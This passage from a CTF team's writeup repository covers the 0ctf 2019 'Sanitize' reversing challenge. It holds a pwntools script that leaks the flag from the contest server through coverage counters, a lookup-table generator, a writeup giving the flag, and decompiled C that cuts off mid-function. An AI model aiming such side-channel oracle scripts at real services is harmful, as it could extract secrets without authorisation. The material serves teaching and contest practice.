├── 0ctf2019 ├── README.md ├── ServiceInteraction.png ├── decompile.png ├── decompiled.png ├── exploit2.py ├── export.png ├── gentable_new.py ├── ghidra.png ├── increment.png ├── sanitize ├── sanitize.md ├── sanitize_tree.c └── table2 │ └── table_new2.table ├── README.md ├── SpamAndFlags2020 ├── README.md └── shor │ └── ReadMe.md ├── X-MASctf2019 ├── Blindfolded.md ├── Blindfolded │ ├── Blindfold_ex.py │ ├── Blindfolded-Banner.png │ ├── Blindfolded-Desc.png │ ├── Blindfolded-free.png │ ├── Blindfolded-malloc.png │ ├── challenge_guessed.c │ ├── private │ │ └── real_src.c │ └── public │ │ └── Dockerfile ├── Eggnog-interaction.png ├── Eggnog.md ├── Eggnog.png ├── Eggnog_ex.py ├── README.md └── eggnog ├── _config.yml ├── bsidesdelhi2019 ├── JrAppy │ ├── chall.pyc │ ├── constr.py │ ├── constr2.py │ ├── flag_part2.png │ ├── jrappy.md │ └── recover.py └── README.md ├── cinsectsctf2019 ├── README.md ├── mongo-foo.md ├── mongo.png └── python-foo.md ├── csaw2019 ├── README.md ├── count_on_me.md └── fault_box.md ├── cybrics2019 ├── README.md ├── bigram.md ├── fastcrypto.md └── zakukozh.md ├── faustctf2019 ├── 1gp4ub.jpg ├── O89YgWk.png ├── README.md ├── SGpPW9L.png ├── flag.png ├── index.pdf └── posthorn.md ├── hacklu2022 ├── README.md └── ordersystem │ ├── README.md │ ├── exploit.py │ └── src │ ├── Dockerfile │ ├── disk.py │ ├── main.py │ └── plugin.py ├── hxpctf2018 ├── README.md ├── poor_canary.md └── yunospace.md ├── insomnihackteaser2019 ├── README.md ├── echoechoechoecho.md └── echoechoechoecho.py ├── pwn2win2019 ├── README.md └── real_ec │ └── ReadMe.md ├── pwn2win2020 ├── README.md └── stolen_backdoor │ ├── README.md │ ├── challenge_files │ ├── encoder │ └── libemojinet.so │ ├── e_fast_probes_2cycles_v2.png │ ├── e_fast_probes_v2.png │ ├── included.png │ └── not_included.png ├── ruCTFe2019 ├── README.md └── profile │ └── ReadMe.md └── tasteless2019 ├── README.md ├── babypad.md ├── ez.md ├── timewarp.md ├── token.png └── youre_to_slow.png /0ctf2019/README.md: -------------------------------------------------------------------------------- 1 | # 0CTF/TCTF 2019 Quals 2 | 3 | *Sa, 23 March 2019, 07:00 CET — Mo, 25 March 2019, 07:00 CET* 4 | 5 | ### Official URL: [https://ctf.0ops.sjtu.cn/](https://ctf.0ops.sjtu.cn/) 6 | ### CTFtime URL: [https://ctftime.org/event/736/](https://ctftime.org/event/736/) 7 | 8 | ## Writeups 9 | 10 | ### [Sanitize](./sanitize.md) [reverse] 11 | -------------------------------------------------------------------------------- /0ctf2019/ServiceInteraction.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/0ctf2019/ServiceInteraction.png -------------------------------------------------------------------------------- /0ctf2019/decompile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/0ctf2019/decompile.png -------------------------------------------------------------------------------- /0ctf2019/decompiled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/0ctf2019/decompiled.png -------------------------------------------------------------------------------- /0ctf2019/exploit2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | # This exploit template was generated via: 4 | # $ pwn template --host 111.186.63.16 --port 20193 5 | from pwn import * 6 | import hashlib 7 | 8 | # Set up pwntools for the correct architecture 9 | context.update(arch='i386') 10 | exe = './path/to/binary' 11 | 12 | # Many built-in settings can be controlled on the command-line and show up 13 | # in "args". For example, to dump all data sent/received, and disable ASLR 14 | # for all created processes... 15 | # ./exploit.py DEBUG NOASLR 16 | # ./exploit.py GDB HOST=example.com PORT=4141 17 | host = args.HOST or '111.186.63.16' 18 | port = int(args.PORT or 20193) 19 | 20 | def local(argv=[], *a, **kw): 21 | '''Execute the target binary locally''' 22 | if args.GDB: 23 | return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) 24 | else: 25 | return process([exe] + argv, *a, **kw) 26 | 27 | def remote(argv=[], *a, **kw): 28 | '''Connect to the process on the remote host''' 29 | io = connect(host, port) 30 | if args.GDB: 31 | gdb.attach(io, gdbscript=gdbscript) 32 | return io 33 | 34 | def start(argv=[], *a, **kw): 35 | '''Start the exploit against the target.''' 36 | if args.LOCAL: 37 | return local(argv, *a, **kw) 38 | else: 39 | return remote(argv, *a, **kw) 40 | 41 | # Specify your GDB script here for debugging 42 | # GDB will be launched if the exploit is run via e.g. 43 | # ./exploit.py GDB 44 | gdbscript = ''' 45 | continue 46 | '''.format(**locals()) 47 | 48 | #=========================================================== 49 | # EXPLOIT GOES HERE 50 | #=========================================================== 51 | 52 | CHARS = ''.join([chr(i) for i in range(0x20, 0x7F)]) 53 | 54 | def treehash(pos, trees): 55 | counterlist = "" 56 | for tree in trees: 57 | counterlist += get_counters(pos, tree) 58 | return hashlib.md5(counterlist.encode("ascii")).hexdigest() 59 | 60 | def get_counters(pos, tree): 61 | 62 | io = start() 63 | #a = sanitize_process.stdout.readline() 64 | inputstr = tree + "\n" + "4" + "\n" + str(pos) + "\n" + "1" + "\n" + "2" + "\n" +"3" + "\n" 65 | io.send(inputstr) 66 | output = io.recvall() 67 | #print(output) 68 | return output 69 | 70 | def gettrees(): 71 | trees = [] 72 | for c in CHARS: 73 | trees.append(c * 27) 74 | return trees 75 | 76 | def gettable(): 77 | tablefile = open("table2/table_new2.table", "r") 78 | table = [] 79 | for i in tablefile.readlines(): 80 | table.append(eval(i)) 81 | return table 82 | 83 | def teststr(pos, trees, table): 84 | key = treehash(pos, trees) 85 | print(key) 86 | possibilities = [] 87 | for row in table: 88 | if row[1] == key: 89 | possibilities.append(row[0]) 90 | print(row[0]) 91 | return possibilities 92 | 93 | trees = gettrees() 94 | table = gettable() 95 | print(table) 96 | 97 | flag = []# ['flag{fr0M_C0vEr4ge_To_Fl4G_And_Enj0Y_0cTF_2Ol9!}'] 98 | for i in range(47): 99 | possibilities = teststr(i, trees, table) 100 | # if res: 101 | # possibilities.append(target) 102 | # print("Target HIT: " + target) 103 | # print(possibilities) 104 | flag.append(possibilities) 105 | print(flag) 106 | open("save","w").write(str(flag)) 107 | print(flag) 108 | 109 | 110 | # 111 | 112 | # 113 | 114 | 115 | 116 | -------------------------------------------------------------------------------- /0ctf2019/export.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/0ctf2019/export.png -------------------------------------------------------------------------------- /0ctf2019/gentable_new.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import hashlib 3 | import datetime 4 | import sys 5 | 6 | 7 | CHARS = ''.join([chr(i) for i in range(0x20, 0x7F)]) 8 | 9 | def treehash(teststr, trees): 10 | counterlist = "" 11 | for tree in trees: 12 | counterlist += get_counters(teststr, tree) 13 | return hashlib.md5(counterlist.encode("ascii")).hexdigest() 14 | 15 | 16 | def get_counters(teststr, tree): 17 | 18 | with open("flag", "w") as flag: 19 | flag.write(teststr) 20 | flag.close() 21 | 22 | sanitize_process = subprocess.Popen("./sanitize", stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True) 23 | #a = sanitize_process.stdout.readline() 24 | inputstr = tree + "\n" + "4" + "\n" + "0" + "\n" + "1" + "\n" + "2" + "\n" +"3" + "\n" 25 | sanitize_process.stdin.write(inputstr) 26 | sanitize_process.stdin.flush() 27 | output = sanitize_process.stdout.readline() 28 | sanitize_process.wait() 29 | return output 30 | 31 | def gettrees(): 32 | trees = [] 33 | for c in CHARS: 34 | trees.append(c * 27) 35 | return trees 36 | 37 | def create_table(): 38 | #print(f"target : {target}") 39 | table = [] 40 | trees = gettrees() 41 | for i in CHARS: 42 | string = i + "lag" 43 | print(string) 44 | table.append((i, treehash(string, trees))) 45 | 46 | return table 47 | 48 | if __name__ == "__main__": 49 | table = create_table() 50 | with open(f"table2/table_new2.table", "w") as tablefile: 51 | for row in table: 52 | tablefile.write(str(row) + "\n") 53 | tablefile.close() 54 | print(table) -------------------------------------------------------------------------------- /0ctf2019/ghidra.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/0ctf2019/ghidra.png -------------------------------------------------------------------------------- /0ctf2019/increment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/0ctf2019/increment.png -------------------------------------------------------------------------------- /0ctf2019/sanitize: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/0ctf2019/sanitize -------------------------------------------------------------------------------- /0ctf2019/sanitize.md: -------------------------------------------------------------------------------- 1 | # Sanitize 2 | 3 | Decompiling with Ghidra *(domenukk: "I would never")* a CTF Challenge. 4 | 5 | Writeup by mmunier and domenukk. 6 | 7 | ![Ghidra](ghidra.png) 8 | 9 | ## Intro 10 | 11 | Sanitize was a reversing challenge at the 2019 0ctf with 282 points and 29 solves. 12 | 13 | ## Reversing 14 | 15 | The first thing we noticed was that the whole binary was scattered with a function that merely increments an int at the given memory location. 16 | 17 | ![Increment Function](increment.png) 18 | 19 | It's literally everywhere, however always with a different memory location. 20 | We figured out, at some point, that it's some sort of instrumentation, indicating which branches were taken - and how often. 21 | 22 | Apart from this, the binary only printed "Invalid" - so first we analyzed what kind of input the binary wants. 23 | 24 | The general sequence of events was: 25 | 26 | ``` 27 | 1. Input a string of length < than 32 28 | 2. Input a number n <= 4 29 | 3. Input n numbers 30 | 4. Get some kind of output 31 | ``` 32 | 33 | ![Sequence of Events](ServiceInteraction.png) 34 | 35 | For this sequence to work the binary required a file called `flag`, and used the numbers as indexes which parts of the flag to read. 36 | 37 | The output, after correct input, was a dump of the memory region with our instrumentation counters, 81 ints in total. 38 | 39 | The input, as well as some parts of the flag, get pushed into a binary tree with some kind of sorting. 40 | We figured out the instrumentation depends on the paths taken in the tree implementation, so we started to reverse it. 41 | 42 | ## Decompiled Trees 43 | 44 | *WOAH! Decompilation in C works. All these years they told us it's an unsolved problem...* 45 | 46 | The binary first creats an empty tree, to which it appends our input, character by character. After that it appends the n characters of the flag at the indexes we specify. 47 | 48 | We tried to grasp how the tree behaved. 49 | Wierdly enough, new nodes were always appended at the root of the tree, and it had some kind of self balancing. 50 | However, we had no clue how it balanced. 51 | So we ripped the tree out and _built our own tool_. 52 | 53 | Turns out, Ghidra has an "Export to C/C++ option". 54 | 55 | ![Export](export.png) 56 | ![Decompile](decompile.png) 57 | 58 | That's right: after a few more changes (the performance counters were undefined in the exported C code, we added some int variables manually), we were able to step through our own source code... 59 | 60 | Here is some decompiled source code in VS Code (see [sanitize_tree.c](sanitize_tree.c) for the complete version): 61 | 62 | ```c 63 | ... 64 | // Our instrumentation counters look like this 65 | int enter_new_tree = 0; 66 | int leave_new_tree = 0; 67 | 68 | typedef struct tree_node tree_node, *Ptree_node; 69 | 70 | void _exit(int no) { 71 | exit(no); 72 | } 73 | 74 | // This is unchanged, straight from the reversed ghidra struct. 75 | // Ghidra automatically created this struct (using "Auto Create Structure"), we just renamed some members. 76 | // 0x1 - 0x3 are probably padding bytes, or something unused. 77 | struct tree_node { 78 | char input_byte; 79 | undefined field_0x1; 80 | undefined field_0x2; 81 | undefined field_0x3; 82 | uint height_maybe; 83 | struct tree_node * parent; 84 | struct tree_node * tree_right; 85 | struct tree_node * next_or_left; 86 | }; 87 | 88 | 89 | void increment(int *incme) 90 | { 91 | *incme = *incme + 1; 92 | } 93 | ... 94 | ``` 95 | 96 | To better wrap our head around how chars could be deducted from the counters, we added a bit of functionality to the decompiled C code: a graphical output of the tree after each added character. 97 | 98 | The input AGBDCCAF would result in the following tree: 99 | 100 | ```sh 101 | enoflag@enovm  ~/ctf/0ctf19  ./sanitize_tree AGBDCCAF 102 | ============== 103 | Round 0: Added [A]: 104 | 105 | A [0] 106 | 107 | ============== 108 | Round 1: Added [G]: 109 | 110 | v---------G [0] 111 | 112 | A [1] 113 | ``` 114 | 115 | [...] 116 | 117 | ```sh 118 | ============== 119 | Round 6: Added [A]: 120 | 121 | A [0] 122 | 123 | v---------C [0] 124 | 125 | ^---------C [1] 126 | 127 | v---------D [0] 128 | 129 | v---------B [1] 130 | 131 | ^---------G [0] 132 | 133 | ^---------A [2] 134 | 135 | ============== 136 | Round 7: Added [F]: 137 | 138 | v---------D [0] 139 | 140 | v---------B [1] 141 | 142 | ^---------G [0] 143 | 144 | v---------A [2] 145 | 146 | v---------C [0] 147 | 148 | ^---------C [1] 149 | 150 | ^---------F [0] 151 | >>>>>>> added images 152 | 153 | A [3] 154 | ``` 155 | 156 | This was a nice side project, however turned out to be useless in the long run. 157 | While there were some counters which were in the *"sorting"* algorithm of the tree that seemed particularly interesting, we failed to grasp the actual tree-balancing algorithm enough to deduct a relationship between the counter and the input. 158 | 159 | This is left as an exercise to the reader, feel free to play around with [the source](sanitize_tree.c). 160 | 161 | ## From Counter-Dump to Hash Function to Flag 162 | 163 | Firstly YES, these counters aren't a good hash function in itself, since they weren't particularly collision resistant: The binary only ever compares two values to decide its path on where to go next. 164 | That meant using the same "base tree" (the first 32 input characters inputted) the character Sequence "aaab" and "aaac" are probably indistinguishable in most of the cases. 165 | 166 | The important part of the tree: 167 | 168 | ```c 169 | if ((byte)next->input_byte < (byte)current->input_byte) { 170 | if (prev == (tree_node *)0x0) { 171 | increment(&a_t_smaller_input_null); 172 | *new_head_ret = next; 173 | } 174 | else { 175 | increment((int *)&a_t_smaller_input_byte); 176 | prev->next_or_left = next; 177 | } 178 | if (current == next) { 179 | // ptr->input_byte ==, ptr != -> impossible 180 | increment((int *)&a_t_smaller_input_impossible); 181 | } 182 | else { 183 | ... 184 | ``` 185 | 186 | However, if the right base tree was used "aaab" would end up with slightly different counter values based upon the *"sorting"*. 187 | That meant using the same unknown char sequence on *enough* base trees, they would differ in some of them. 188 | 189 | Thinking we would need to create a lookup table for the needed combinations (each 4 char alternative), we hashed the concatenated output at the end with *md5* to more easily tell if they were unique. 190 | 191 | After generating a huge amount of table entries and trying our first attack, 192 | it dawned on me that we could massively reduce the search space, since we partially knew the plaintext `flag{ ..... }`. 193 | 194 | Since we could pick characters to our liking it was enough to pick one unknown character, using `$c` + `"lag"` for the string. 195 | 196 | This way, it's only necessary to generate one single entry ([generator script](gentable_new.py)) for each of the ~ 100 chars that could end up in the flag, instead of one for each 4 letter combination. 197 | 198 | After generating our map locally, we then got one hash for each each character of the actual flag from the remote endpoint by comparing it with our locally generated [rainbow table](table2/table_new2.table) char by char. 199 | 200 | After about 1 hour of talking to the service our [exploit](exploit2.py) finally spat out the flag: 201 | _*flag{fr0M_C0vEr4ge_To_Fl4G_And_Enj0Y_0cTF_2Ol9!}*_ 202 | -------------------------------------------------------------------------------- /0ctf2019/sanitize_tree.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | typedef unsigned char undefined; 7 | 8 | typedef unsigned char byte; 9 | typedef unsigned char dwfenc; 10 | typedef unsigned int dword; 11 | typedef unsigned long qword; 12 | typedef unsigned int uint; 13 | typedef unsigned long ulong; 14 | typedef unsigned char undefined1; 15 | typedef unsigned short undefined2; 16 | typedef unsigned int undefined4; 17 | typedef unsigned long undefined8; 18 | typedef unsigned short ushort; 19 | typedef unsigned short word; 20 | typedef struct eh_frame_hdr eh_frame_hdr, *Peh_frame_hdr; 21 | 22 | struct eh_frame_hdr { 23 | byte eh_frame_hdr_version; // Exception Handler Frame Header Version 24 | dwfenc eh_frame_pointer_encoding; // Exception Handler Frame Pointer Encoding 25 | dwfenc eh_frame_desc_entry_count_encoding; // Encoding of # of Exception Handler FDEs 26 | dwfenc eh_frame_table_encoding; // Exception Handler Table Encoding 27 | }; 28 | 29 | typedef struct fde_table_entry fde_table_entry, *Pfde_table_entry; 30 | 31 | struct fde_table_entry { 32 | dword initial_loc; // Initial Location 33 | dword data_loc; // Data location 34 | }; 35 | 36 | typedef long int64_t; 37 | 38 | typedef struct tree_node tree_node, *Ptree_node; 39 | 40 | void _exit(int no) { 41 | exit(no); 42 | } 43 | 44 | struct tree_node { 45 | char input_byte; 46 | undefined field_0x1; 47 | undefined field_0x2; 48 | undefined field_0x3; 49 | uint height_maybe; 50 | struct tree_node * parent; 51 | struct tree_node * tree_right; 52 | struct tree_node * next_or_left; 53 | }; 54 | 55 | 56 | void increment(int *incme) 57 | { 58 | *incme = *incme + 1; 59 | } 60 | 61 | int enter_new_tree; 62 | int leave_new_tree; 63 | 64 | tree_node ** new_tree_ptr(void) 65 | 66 | { 67 | tree_node *char8ptr; 68 | 69 | increment(&enter_new_tree); 70 | char8ptr = (tree_node *)malloc(8); 71 | if (char8ptr == (tree_node *)0x0) { 72 | // WARNING: Subroutine does not return 73 | _exit(-3); 74 | } 75 | increment(&leave_new_tree); 76 | *(undefined8 *)char8ptr = 0; 77 | return (tree_node **)char8ptr; 78 | } 79 | 80 | int enter_free_linked_list_rek; 81 | int free_linked_list_rek_null; 82 | int free_tree_rek_loop; 83 | int leave_free_linked_list_rek; 84 | 85 | void free_tree_rek(tree_node *node) 86 | 87 | { 88 | tree_node *current; 89 | tree_node *paVar1; 90 | 91 | increment(&enter_free_linked_list_rek); 92 | current = node; 93 | if (node == (tree_node *)0x0) { 94 | increment(&free_linked_list_rek_null); 95 | } 96 | else { 97 | while (current != (tree_node *)0x0) { 98 | increment(&free_tree_rek_loop); 99 | free_tree_rek(current->tree_right); 100 | current->input_byte = 0; 101 | current->height_maybe = 0; 102 | current->parent = (tree_node *)0x0; 103 | current->tree_right = (tree_node *)0x0; 104 | paVar1 = current->next_or_left; 105 | current->next_or_left = (tree_node *)0x0; 106 | free(current); 107 | current = paVar1; 108 | } 109 | increment(&leave_free_linked_list_rek); 110 | } 111 | return; 112 | } 113 | 114 | int free_tree_func_enter; 115 | int free_tree_func_loop; 116 | int free_tree_func_leave; 117 | 118 | void free_tree(tree_node *head) 119 | 120 | { 121 | tree_node *current; 122 | tree_node *next_left; 123 | 124 | increment(&free_tree_func_enter); 125 | current = *(tree_node **)head; 126 | while (current != (tree_node *)0x0) { 127 | increment(&free_tree_func_loop); 128 | free_tree_rek(current->tree_right); 129 | next_left = current->next_or_left; 130 | current->tree_right = (tree_node *)0x0; 131 | current->parent = (tree_node *)0x0; 132 | current->next_or_left = (tree_node *)0x0; 133 | current->height_maybe = 0; 134 | current->input_byte = 0; 135 | free(current); 136 | current = next_left; 137 | } 138 | increment(&free_tree_func_leave); 139 | *(undefined8 *)head = 0; 140 | free(head); 141 | return; 142 | } 143 | 144 | 145 | // returns 0 if any input is 0 146 | int a_t_r_enter; 147 | int a_t_r_recursion_null; 148 | int a_t_r_current_null; 149 | int a_t_r_current_nonnull; 150 | int a_t_r_created_new; 151 | int a_t_r_created_not_new; 152 | int a_t_r_created_branch1; 153 | int INT_0060310c; 154 | int INT_00603110; 155 | int INT_00603114; 156 | int INT_00603118; 157 | int INT_0060311c; 158 | int INT_00603120; 159 | int INT_00603124; 160 | int INT_00603128; 161 | int INT_0060312c; 162 | int INT_00603130; 163 | int a_t_r_exit; 164 | 165 | tree_node ** append_tree_rek(tree_node **old_head,tree_node **new_part) 166 | 167 | { 168 | tree_node **new_head_maybe; 169 | tree_node *created_el; 170 | tree_node *new; 171 | tree_node *current; 172 | tree_node *current_next; 173 | 174 | increment(&a_t_r_enter); 175 | if (old_head == (tree_node **)0x0) { 176 | increment(&a_t_r_recursion_null); 177 | } 178 | else { 179 | if (new_part != (tree_node **)0x0) { 180 | current = *old_head; 181 | new = *new_part; 182 | new_head_maybe = new_tree_ptr(); 183 | created_el = *new_head_maybe; 184 | while( true ) { 185 | if (current != (tree_node *)0x0) { 186 | increment(&a_t_r_current_null); 187 | } 188 | else { 189 | increment(&a_t_r_current_nonnull); 190 | } 191 | if (current == (tree_node *)0x0 || new == (tree_node *)0x0) break; 192 | if (current->height_maybe <= new->height_maybe) { 193 | if (*new_head_maybe == (tree_node *)0x0) { 194 | // will be called for the first time 195 | increment(&a_t_r_created_new); 196 | *new_head_maybe = current; 197 | } 198 | else { 199 | increment(&a_t_r_created_not_new); 200 | created_el->next_or_left = current; 201 | } 202 | created_el = current; 203 | current_next = current->next_or_left; 204 | current->next_or_left = (tree_node *)0x0; 205 | increment(&a_t_r_created_branch1); 206 | current = current_next; 207 | } 208 | else { 209 | if (*new_head_maybe == (tree_node *)0x0) { 210 | increment(&INT_0060310c); 211 | *new_head_maybe = new; 212 | } 213 | else { 214 | increment(&INT_00603110); 215 | created_el->next_or_left = new; 216 | } 217 | created_el = new; 218 | current_next = new->next_or_left; 219 | new->next_or_left = (tree_node *)0x0; 220 | increment(&INT_00603114); 221 | new = current_next; 222 | } 223 | } 224 | while (current != (tree_node *)0x0) { 225 | if (*new_head_maybe == (tree_node *)0x0) { 226 | increment(&INT_00603118); 227 | *new_head_maybe = current; 228 | } 229 | else { 230 | increment(&INT_0060311c); 231 | created_el->next_or_left = current; 232 | } 233 | created_el = current; 234 | current_next = current->next_or_left; 235 | current->next_or_left = (tree_node *)0x0; 236 | increment(&INT_00603120); 237 | current = current_next; 238 | } 239 | while (new != (tree_node *)0x0) { 240 | if (*new_head_maybe == (tree_node *)0x0) { 241 | increment(&INT_00603124); 242 | *new_head_maybe = new; 243 | } 244 | else { 245 | increment(&INT_00603128); 246 | created_el->next_or_left = new; 247 | } 248 | created_el = new; 249 | current_next = new->next_or_left; 250 | new->next_or_left = (tree_node *)0x0; 251 | increment(&INT_0060312c); 252 | new = current_next; 253 | } 254 | increment(&INT_00603130); 255 | *old_head = (tree_node *)0x0; 256 | *new_part = (tree_node *)0x0; 257 | free_tree((tree_node *)old_head); 258 | free_tree((tree_node *)new_part); 259 | return new_head_maybe; 260 | } 261 | increment(&a_t_r_exit); 262 | } 263 | return (tree_node **)0x0; 264 | } 265 | 266 | // if old_head would be 0: Returns 0 267 | int a_t_start; 268 | int a_t_rek_null_return; 269 | int a_t_no_next; 270 | int a_t_height_equals; 271 | int a_t_height_not_equal; 272 | int a_t_smaller_input_null; 273 | int a_t_smaller_input_byte; 274 | int a_t_smaller_input_impossible; 275 | int a_t_smaller_input_byte; 276 | int a_t_next_equals_current; 277 | int a_t_next_not_equals_current; 278 | int a_t_height_differs; 279 | int a_t_end; 280 | 281 | 282 | tree_node ** append_tree(tree_node **old_head,tree_node **new_node) 283 | 284 | { 285 | tree_node **new_head_ret; 286 | tree_node *next; 287 | tree_node *current; 288 | tree_node *prev; 289 | 290 | increment(&a_t_start); 291 | new_head_ret = append_tree_rek(old_head,new_node); 292 | if (*new_head_ret == (tree_node *)0x0) { 293 | increment(&a_t_rek_null_return); 294 | } 295 | else { 296 | prev = (tree_node *)0x0; 297 | current = *new_head_ret; 298 | next = current->next_or_left; 299 | while (next != (tree_node *)0x0) { 300 | if (current->height_maybe == next->height_maybe) { 301 | if (next->next_or_left == (tree_node *)0x0) { 302 | increment(&a_t_no_next); 303 | } 304 | else { 305 | if (next->next_or_left->height_maybe == current->height_maybe) { 306 | increment(&a_t_height_equals); 307 | goto APPEND_CONTINUE; 308 | } 309 | increment(&a_t_height_not_equal); 310 | } 311 | if ((byte)next->input_byte < (byte)current->input_byte) { 312 | if (prev == (tree_node *)0x0) { 313 | increment(&a_t_smaller_input_null); 314 | *new_head_ret = next; 315 | } 316 | else { 317 | increment((int *)&a_t_smaller_input_byte); 318 | prev->next_or_left = next; 319 | } 320 | if (current == next) { 321 | // ptr->input_byte ==, ptr != -> impossible 322 | increment((int *)&a_t_smaller_input_impossible); 323 | } 324 | else { 325 | increment((int *)&a_t_smaller_input_byte); 326 | current->parent = next; 327 | current->next_or_left = next->tree_right; 328 | next->tree_right = current; 329 | next->height_maybe = next->height_maybe + 1; 330 | } 331 | current = next; 332 | } 333 | else { 334 | current->next_or_left = next->next_or_left; 335 | if (next == current) { 336 | increment(&a_t_next_equals_current); 337 | } 338 | else { 339 | increment(&a_t_next_not_equals_current); 340 | next->parent = current; 341 | next->next_or_left = current->tree_right; 342 | current->tree_right = next; 343 | current->height_maybe = current->height_maybe + 1; 344 | } 345 | } 346 | } 347 | else { 348 | increment(&a_t_height_differs); 349 | APPEND_CONTINUE: 350 | prev = current; 351 | current = next; 352 | } 353 | next = current->next_or_left; 354 | } 355 | increment(&a_t_end); 356 | } 357 | return new_head_ret; 358 | } 359 | 360 | int add_tree_node_enter; 361 | int add_tree_node_after_malloc; 362 | 363 | void add_tree_node(tree_node **head_ptr,char input_byte) 364 | 365 | { 366 | tree_node *new_tree_node; 367 | tree_node **new_tree_p; 368 | tree_node **local_RAX_204; 369 | tree_node **head_cpy; 370 | 371 | increment(&add_tree_node_enter); 372 | head_cpy = (tree_node **)*head_ptr; 373 | new_tree_node = (tree_node *)malloc(0x20); 374 | if (new_tree_node == (tree_node *)0x0) { 375 | // WARNING: Subroutine does not return 376 | _exit(-3); 377 | } 378 | increment(&add_tree_node_after_malloc); 379 | new_tree_node->parent = (tree_node *)0x0; 380 | new_tree_node->next_or_left = (tree_node *)0x0; 381 | new_tree_node->tree_right = (tree_node *)0x0; 382 | new_tree_node->height_maybe = 0; 383 | new_tree_node->input_byte = input_byte; 384 | new_tree_p = new_tree_ptr(); 385 | *new_tree_p = new_tree_node; 386 | local_RAX_204 = append_tree(head_cpy,new_tree_p); 387 | *(tree_node ***)head_ptr = local_RAX_204; 388 | return; 389 | } 390 | 391 | int *won_output_maybe; 392 | int *won_output_end_val; 393 | int *won_output_end_maybe; 394 | 395 | void write_won_output_maybe(int *won_output_val,int *won_output_end_val) 396 | 397 | { 398 | int *local_20; 399 | 400 | if ((won_output_val != won_output_end_val) && (local_20 = won_output_val, *won_output_val == 0)) { 401 | while (won_output_maybe = won_output_val, won_output_end_maybe = won_output_end_val, 402 | local_20 < won_output_end_val) { 403 | *local_20 = 0; 404 | local_20 = local_20 + 1; 405 | } 406 | } 407 | return; 408 | } 409 | 410 | 411 | // void deconstructor(void) 412 | 413 | // { 414 | // byte *won_output_ptr; 415 | 416 | // increment(&deconstructor_started); 417 | // if (won_output_maybe == (byte *)0x0) { 418 | // increment(&won_output_is_0); 419 | // } 420 | // else { 421 | // if (won_output_end_maybe == (byte *)0x0) { 422 | // increment((int *)&won_output_end_null); 423 | // } 424 | // else { 425 | // if (won_output_maybe < won_output_end_maybe) { 426 | // won_output_ptr = won_output_maybe; 427 | // while (won_output_ptr < won_output_end_maybe) { 428 | // increment(&won_output_outputed); 429 | // printf("%02x",(ulong)*won_output_ptr); 430 | // won_output_ptr = won_output_ptr + 1; 431 | // } 432 | // increment(&won_output_ended); 433 | // puts(""); 434 | // } 435 | // else { 436 | // increment(&won_output_failed); 437 | // } 438 | // } 439 | // } 440 | // return; 441 | // } 442 | 443 | 444 | 445 | // // returns length 446 | 447 | // ulong read_input(char *buf) 448 | 449 | // { 450 | // char *pcVar1; 451 | // size_t input_len; 452 | // ulong i; 453 | 454 | // increment(&read_input_started); 455 | // pcVar1 = fgets(buf,0x20,stdin); 456 | // if (pcVar1 == (char *)0x0) { 457 | // // WARNING: Subroutine does not return 458 | // _exit(-1); 459 | // } 460 | // input_len = strlen(buf); 461 | // if (input_len < 4) { 462 | // // WARNING: Subroutine does not return 463 | // _exit(-1); 464 | // } 465 | // if (buf[input_len - 1] == '\n') { 466 | // increment(&ends_with_newline); 467 | // buf[input_len - 1] = 0; 468 | // input_len = input_len - 1; 469 | // } 470 | // else { 471 | // increment(&ends_not_with_newline); 472 | // } 473 | // i = 0; 474 | // while( true ) { 475 | // if (input_len <= i) { 476 | // increment(&valid_string_read); 477 | // return input_len; 478 | // } 479 | // if ((byte)buf[i] < 0x20) break; 480 | // if (0x7e < (byte)buf[i]) { 481 | // increment(&non_ascii_found); 482 | // goto INVALID_CHAR; 483 | // } 484 | // increment(&valid_input_chars); 485 | // i = i + 1; 486 | // } 487 | // increment(&space_found); 488 | // INVALID_CHAR: 489 | // fprintf(stderr,"Invalid Character\n"); 490 | // // WARNING: Subroutine does not return 491 | // _exit(-2); 492 | // } 493 | void print_tree_rek(tree_node *node, int recursion_depth, char start) { 494 | int i; 495 | int spaces = 10; 496 | if (!node) { 497 | return; 498 | } 499 | 500 | print_tree_rek(node->tree_right, recursion_depth + 1, 'v'); 501 | 502 | printf("\n"); 503 | for (int i = 0; i < (recursion_depth - 1) * spaces; i++) { 504 | printf(" "); 505 | } 506 | if (recursion_depth) { 507 | printf("%c", start); 508 | for (int i = 0; i < spaces - 1; i++) { 509 | printf("-"); 510 | } 511 | } 512 | printf("%c [%u]\n", node->input_byte, node->height_maybe); 513 | 514 | print_tree_rek(node->next_or_left, recursion_depth + 1, '^'); 515 | } 516 | 517 | void print_tree(tree_node ** head) { 518 | print_tree_rek(*head, 0, ' '); 519 | } 520 | 521 | 522 | void print_counters() { 523 | printf("\n>>> counters:\n" 524 | "a_t_smaller_input_null: %d\n" 525 | "a_t_smaller_input_byte(2x): %d\n" 526 | "a_t_smaller_input_impossible: %d\n" 527 | "a_t_next_equals_current: %d\n" 528 | "a_t_next_not_equals_current: %d\n\n", 529 | a_t_smaller_input_null, 530 | a_t_smaller_input_byte, 531 | a_t_smaller_input_impossible, 532 | a_t_next_equals_current, 533 | a_t_next_not_equals_current); 534 | } 535 | 536 | int program_started; 537 | // read all values mod flag length at least once, store them in consecutive order in the output 538 | // buffer 539 | int main(int argc,char **argv) 540 | 541 | { 542 | FILE 